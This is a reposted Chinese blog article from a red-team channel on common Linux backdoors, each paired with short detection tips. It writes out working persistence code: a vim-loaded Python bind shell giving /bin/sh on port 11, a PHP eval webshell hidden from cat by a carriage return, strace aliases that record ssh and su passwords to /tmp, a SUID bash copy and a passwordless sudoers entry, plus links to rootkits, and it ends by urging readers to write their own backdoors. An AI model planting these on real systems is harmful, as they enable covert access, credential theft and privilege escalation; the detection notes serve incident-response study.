|
linux常见backdoor及排查技术 (qq.com)
linux常见backdoor及排查技术利华 HACK之道 1周前
收录于话题
#信息安全,3
#渗透测试,7
#渗透思路,4
#红队技术,4
TL;DR 
- 最近遇到一些和后门相关的技术,所以把之前linux backdoor相关笔记重新学习和整理了一下。在这里做一下记录,后续有时间整理一下windows backdoor方面的技术。
- 在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查。下面就一些常见留后门技巧以及公开的工具进行剖析介绍。
- 现在有一些公司在发现入侵之后直接重装系统,那么基本所有的后门就无法发挥权限维持的作用了,但作为一个安全从业人员还是需要对一些后门有一个基本的了解。
常见技巧添加root权限后门用户vim后门#enter the mal script directory 、execute the script and then remove the scriptcd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
- 此方法适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如python版本的正向后门监听11端口。
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.htmlfrom socket import *import subprocessimport os, threading, sys, timeif __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
 
终端解析\r导致的问题echo -e "<?=\`eval(\$_POST[good]\`);?>\r<?='PHP Test Page >||< ';?>" >/var/www/html/test.php
 
 
- 优点:通过终端命令例如cat、more等命令查看不到恶意代码,适合隐藏一句话木马等。
- 缺点:易被检测,只是通过终端命令查看的时候看不到恶意代码,而通过其它读文件操作或者通过vim等工具进行编辑查看的时候仍可以查看到恶意代码。
- 排查:使用编辑器或者一般的webshell扫描工具即可检测。
命令过长导致截断的问题strace记录ssh登录密码alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 ssh' 也可记录 su密码 alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 su'
 
- 优点:改动较小
- 缺点:易被检测到
- 排查:通过排查shell的配置文件或者alias命令即可发现,例如~/.bashrc和~/.bash_profile文件查看是否有恶意的alias问题。(注意bash_profile是在登录的shell执行的,bashrc是在非登录的shell执行,即如果你只是想每次在登录的时候让它去执行,这个时候你可以把你的命令写在.bash_profile,如果你想每次打开一个新的终端的时候都去执行,那么应该把命令写在.bashrc中)。
常见ssh后门定时任务和开机启动项预加载型动态链接库后门 ld.so.preload
- 可能有些人不太了解,简单说一下,就是我们在linux下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生Hijack。
 
- 如上图所示,strace 命令id的时候可以发现有预先去读取/etc/ld.so.preload文件(也可使用设置LD_PRELAOD环境变量方式),如果我们将事先写好的恶意so文件位置写入ld.so.preload文件,这个时候就会达到“劫持”的效果。
- 比较好用的工具有Vegile和cub3等
Vegile(https://github.com/Screetsec/Vegile/blob/master/Vegile#L112)
cub3(https://github.com/mempodippy/cub3),这个工具使用了LD_PRELOAD和系统的扩展属性去隐藏文件。
- 更多参考:
Linux文件系统扩展属性
- 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是Vlany,github地址https://github.com/mempodippy/vlany
警惕利用Linux预加载型恶意动态链接库的后门(https://www.freebuf.com/column/162604.html)
- 优点:可以隐藏文件、网络、进程等。相对于普通用户空间rootkit而言,隐藏性较好,相对于内核模块rootkit来说,兼容性更好,编写难道低
- 缺点:暂无
- 排查:通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。注意:在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持(例如通过预加载型动态链接库后门),导致系统命令执行不正常,这个时候可以下载busybox。下载编译好的对应平台版本的busybox,或者下载源码进行编译通过U盘拷贝到系统上,因为busybox是静态编译的,不依赖于系统的动态链接库,busybox的使用类似如下 busybox ls,busybox ps -a。
提权后门*有时候我们需要放一个suid后门来辅助我们提权,比如 cp /bin/bash /bin/nf & chmod +s /bin/nf,这样我们拿到一个普通权限的shell之后可以通过执行 /bin/nf 提升自己的权限为root
*此外还可以通过将某个普通用户添加到sudoers来提权,例如jenkins ALL=(ALL) NOPASSWD: ALL
内核级rootkit
- 内核级的rootkit也很多,这里简单推荐一个Diamorphine
 
github地址(https://github.com/m0nad/Diamorphine)
- 优点:隐藏性较好
- 缺点:编写难度有点儿高
- 排查:可以通过unhide等工具进行排查
 
Other
- 以上介绍了几种backdoor的技巧也只是冰山一角,这里抛砖引玉,希望有更多人分享自己的经验和奇淫技巧,笔者水平有限,文中定有不足之处,还望各位斧正。Write your own backdoor and MAKE BACKDOOR GREAT AGAIN

Referencelinux rootkits
-https://github.com/d30sa1/RootKits-List-Download
https://github.com/mfontanini/Programs-Scripts/
-https://github.com/mfontanini/Programs-Scripts/
Reptile
-https://github.com/f0rb1dd3n/Reptile
icmpsh
-https://github.com/bdamele/icmpsh
Diamorphine
-https://isec.ne.jp/wp-content/up ... 4LKM-rootkits-1.pdf
作者:利华,文章转载于先知社区
|
|